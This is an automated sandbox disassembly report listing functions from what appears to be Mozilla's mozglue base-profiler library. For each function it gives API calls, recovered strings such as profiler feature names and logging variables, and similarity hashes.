Instruction ID: 810db9ff34aa3dcd0da6ce0d0e777bc9344574028585c953f5e06661975b6a57
Opcode Fuzzy Hash: 1bc4a68580704988df63ff479806165709882721a69755f4080fff9e84e67ddb
Instruction Fuzzy Hash: D501F9B1A10104AFDB00ABA4DC4ADEF7BFCEF49214F110434FA46A3241D635B9188BE1

Function 6C8F2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C8F2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C8F2C61

Part of subcall function 6C8A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C8A4E5A
Part of subcall function 6C8A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C8A4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8F2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C8F2E2D

Part of subcall function 6C8B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C8B81DE

Strings

(root), xrefs: 6C8F354F
ProfileBuffer parse error: %s, xrefs: 6C8F2E3B
expected a Time entry, xrefs: 6C8F2E36

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 5d31585412e1fb5c4d0767b136222088408602fa201cd2f11833c8c0cff0206d
Instruction ID: 0569806f54e5cd57b24cf15f307130cedf6db02761ae0ea84e00ed4581dba7b8
Opcode Fuzzy Hash: 5d31585412e1fb5c4d0767b136222088408602fa201cd2f11833c8c0cff0206d
Instruction Fuzzy Hash: 3D91D0706087848FC734DF28C59069EB7E1AFC9398F104E2DE9AA87750DB34D94ACB52

Function 6C909E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C909F3D
__aulldiv.LIBCMT ref: 6C909F77
__aullrem.LIBCMT ref: 6C909F8C
__aulldiv.LIBCMT ref: 6C90A023

Strings

NaN, xrefs: 6C909EAB
-Infinity, xrefs: 6C909E60, 6C909E7B

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 6dc219326b332fd78bdbbcdbc97bbc84dd6cd27dd8846c6040904d69976f80d1
Instruction ID: 7cfab900b5ba834815c344704fb3b9891f45feaa54f9f88531385634cfd16d60
Opcode Fuzzy Hash: 6dc219326b332fd78bdbbcdbc97bbc84dd6cd27dd8846c6040904d69976f80d1
Instruction Fuzzy Hash: 58C19B31B043198FDB14CEA8C8907AEB7BAAB89704F15452DD406ABB81DB71ED49CBD1

Function 6C90B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8B9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6C90B92D), ref: 6C8B9BC8
Part of subcall function 6C8B9B80: __Init_thread_footer.LIBCMT ref: 6C8B9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C8B03D4,?), ref: 6C90B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6C90B9A5
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,00000000), ref: 6C90BA20
RtlNtStatusToDosError.NTDLL ref: 6C90BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C90BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C90BA86

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: c392ae10fef94e5652a15f0803fc788abe93eb144d11580388e4ff0e04001513
Instruction ID: d805c685b81472a768d4f0b8cd8e319f1f0c83a9b6bdfd376d2c0baf98874cb9
Opcode Fuzzy Hash: c392ae10fef94e5652a15f0803fc788abe93eb144d11580388e4ff0e04001513
Instruction Fuzzy Hash: C6515D72F05219DFDF14CEA8D981ADDB7BAAF88318F154129E901B7B04DB30AD458B90

Function 6C8E8AC0 Relevance: 7.7, APIs: 5, Instructions: 174timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8DFA80: GetCurrentThreadId.KERNEL32 ref: 6C8DFA8D
Part of subcall function 6C8DFA80: AcquireSRWLockExclusive.KERNEL32(6C92F448), ref: 6C8DFA99

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C901563), ref: 6C8E8BD5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C901563), ref: 6C8E8C3A
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,?,?,?,?,?,?,?,?,?,?,6C901563), ref: 6C8E8C74
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6C901563), ref: 6C8E8CBA
free.MOZGLUE(?), ref: 6C8E8CCF

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLockNow@Stamp@mozilla@@TimeV12@_free$AcquireCurrentReleaseThread
String ID:
API String ID: 2153970598-0
Opcode ID: dc7efbd635103abd30595675e3fca253fd380f18df7b041da7d11789c8a8dcfe
Instruction ID: ce712a0d8e8423be13cfc2c321960262d61978f40d91b312a988bee5eed47e2e
Opcode Fuzzy Hash: dc7efbd635103abd30595675e3fca253fd380f18df7b041da7d11789c8a8dcfe
Instruction Fuzzy Hash: D9719F71A14B008FD714CF29C58065AB7F1FF9E314F568A6EE9899B722E770E884CB41

Function 6C8AF280 Relevance: 7.6, APIs: 5, Instructions: 87nativelibraryloaderCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,?,00000000,?,0000001C,?), ref: 6C8AF2B4
GetProcAddress.KERNEL32(00000000,?), ref: 6C8AF2F0
NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,0000001C,0000001C,?), ref: 6C8AF308
RtlNtStatusToDosError.NTDLL ref: 6C8AF36B
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,?,00000000,?,0000001C,?), ref: 6C8AF371

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ErrorMemoryQueryVirtual$AddressLastProcStatusWin32
String ID:
API String ID: 1171715205-0
Opcode ID: b62ba55594818ec3976c299358b60ff7947b799c58a7727e5c8a6330bd72efd1
Instruction ID: 3451525c8c7013a15193b368f022fcd60e39fd27371632b0f15e1d93bb7acecb
Opcode Fuzzy Hash: b62ba55594818ec3976c299358b60ff7947b799c58a7727e5c8a6330bd72efd1
Instruction Fuzzy Hash: 6521D530A40308DFEB30CAA6CE44BEF76B8AB5436CF144628E41097980D774D949C761

Function 6C9153C8 Relevance: 6.6, APIs: 5, Instructions: 310COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9186AE

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction ID: cb2cc1c069937dafa2413e7ed2cc705f2e6d38cdb5bb834772a99ede58aca6ea
Opcode Fuzzy Hash: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction Fuzzy Hash: C4C1B672A0411A8FDB14CF68CC91BEDB7B2EF95314F1502A9C949EBB85D730E985CB90

Function 6C91545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C918A4B

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 8379e022d2b836d011f9536ffee9fe87389e88251c6a3730b63d08a12495d5b9
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 26B1F672E0421E8FDB14CF68CC917A9B7B2EF95314F1902A9C549EBB81D730E985CB90

Function 6C91542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C91925C

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: aeb67436eb50c86cc7a62c21f1857fa98c2a1b0dfd1924286c674eb8b17001c0
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 19B1C672E0421A8FDB14CF58CC816ADB7B6EF95314F190279C549DBB85D730E989CB90

Function 6C9150C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C918E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C91925C

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 67dad7e9c31bdb9d5684358cf3037843e2000bec9e48e3e34c01c9e2d2181020
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 67A1F772A0411B8FCB14CF68CC817A9B7B6AF95314F1502B9C949DBB85D730E989CB90

Function 6C8F77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8F7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8F7A93

Part of subcall function 6C8C5C50: GetTickCount64.KERNEL32 ref: 6C8C5D40
Part of subcall function 6C8C5C50: EnterCriticalSection.KERNEL32(6C92F688), ref: 6C8C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C8F7AA1

Part of subcall function 6C8C5C50: __aulldiv.LIBCMT ref: 6C8C5DB4
Part of subcall function 6C8C5C50: LeaveCriticalSection.KERNEL32(6C92F688), ref: 6C8C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C8F7B31

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 1272589b10d9b7bbf0d1ac5ebc6b50958b5bba341012ce71b2d32d6c3a985355
Instruction ID: 01438cef25c5d3d5832c2e19df7d4f8d487c8dd89927c81801e53826ad99a897
Opcode Fuzzy Hash: 1272589b10d9b7bbf0d1ac5ebc6b50958b5bba341012ce71b2d32d6c3a985355
Instruction Fuzzy Hash: 3CB19F316083948BDB24CF28C65065EB7E2BBC9358F154E2CE9A567790D770E90BCB82

Function 6C90B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C8DFE3F), ref: 6C90B720
RtlNtStatusToDosError.NTDLL ref: 6C90B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C8DFE3F), ref: 6C90B760

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 636430e460181d448ff3f1a339bcd32a5a688430610d64099becdc1f6978a509
Instruction ID: 06a419fd5c0228f55b4d7d78ed3478d17325ab6a51d24b1864a7f189c2b0d0c6
Opcode Fuzzy Hash: 636430e460181d448ff3f1a339bcd32a5a688430610d64099becdc1f6978a509
Instruction Fuzzy Hash: 22F0AFB0A8820CAEEF059AA5CC85BEEB7BC9F1472AF10513DE511619C0D774EA8CC660

Function 6C90B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C8B03D4,?), ref: 6C90B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6C90B9A5

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 4b7db042f6941ed1dfcf79ba940b0cc342860b9d2da18af62f65fa41ac56cbea
Instruction ID: ead7d67c1bef38bd23b8cb76551452938e6c3265839c5579d350c193d6f2ebf6
Opcode Fuzzy Hash: 4b7db042f6941ed1dfcf79ba940b0cc342860b9d2da18af62f65fa41ac56cbea
Instruction Fuzzy Hash: 32419371F012199FDF14CFA9D881ADEB7B9EF88314F248129E515A7704DB30A9458B90

Function 6C8ECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C8B582D), ref: 6C8ECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C8B582D), ref: 6C8ECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C91FE98,?,?,?,?,?,6C8B582D), ref: 6C8ECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C8B582D), ref: 6C8ECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C8B582D), ref: 6C8ECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C8B582D), ref: 6C8ECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C8B582D), ref: 6C8ECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C8ECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C8ECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C8ECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C8ECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C8ECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C8ECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C8ECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C8ECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C8ECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C8ECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C8ECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C8ECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C8ECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C8ECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C8ECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C8ECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C8ECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C8ECE8A

Strings

preferencereads, xrefs: 6C8ECD92
nativeallocations, xrefs: 6C8ECDA8
leaf, xrefs: 6C8ECC66
nostacksampling, xrefs: 6C8ECD7C
fileioall, xrefs: 6C8ECCA8
stackwalk, xrefs: 6C8ECCF8
samplingallthreads, xrefs: 6C8ECE2C
notimerresolutionchange, xrefs: 6C8ECE00
java, xrefs: 6C8ECC37
ipcmessages, xrefs: 6C8ECDBE
default, xrefs: 6C8ECC21
unregisteredthreads, xrefs: 6C8ECE58
cpuallthreads, xrefs: 6C8ECE16
seqstyle, xrefs: 6C8ECCE6
Unrecognized feature "%s"., xrefs: 6C8ECEA0
audiocallbacktracing, xrefs: 6C8ECDD4
fileio, xrefs: 6C8ECC92
mainthreadio, xrefs: 6C8ECC7C
noiostacks, xrefs: 6C8ECCBE
screenshots, xrefs: 6C8ECCD4
power, xrefs: 6C8ECE84
markersallthreads, xrefs: 6C8ECE42
jsallocations, xrefs: 6C8ECD0E
processcpu, xrefs: 6C8ECE6E

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 599da1802b7177b34f63284fd2cf3d6145695776a48e6dc9b628a4ce5bb90329
Instruction ID: c9ec959049589a4a28f1395e3ded817a249b2bf0e08b7c861a961b30dc066a8e
Opcode Fuzzy Hash: 599da1802b7177b34f63284fd2cf3d6145695776a48e6dc9b628a4ce5bb90329
Instruction Fuzzy Hash: 5E51BAD1F4926E51FB2430156F22BEA1C04EB7B24BF101C36ED49A1F82FB0AD61A45B7

Function 6C8B47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C8B4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8B4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8B482D
__Init_thread_footer.LIBCMT ref: 6C8B484A

Part of subcall function 6C8DAB3F: EnterCriticalSection.KERNEL32(6C92E370,?,?,6C8A3527,6C92F6CC,?,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB49
Part of subcall function 6C8DAB3F: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A3527,6C92F6CC,?,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DAB7C

GetCurrentThreadId.KERNEL32 ref: 6C8B485F
GetCurrentThreadId.KERNEL32 ref: 6C8B487E
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8B488B
free.MOZGLUE(?), ref: 6C8B493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8B4956
free.MOZGLUE(00000000), ref: 6C8B4960
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8B499A

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

free.MOZGLUE(?), ref: 6C8B49C6
free.MOZGLUE(?), ref: 6C8B49E9

Part of subcall function 6C8C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8C5EDB
Part of subcall function 6C8C5E90: memset.VCRUNTIME140(6C907765,000000E5,55CCCCCC), ref: 6C8C5F27
Part of subcall function 6C8C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8C5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C8B4812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C8B4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C8B4A42
[I %d/%d] profiler_shutdown, xrefs: 6C8B4A06
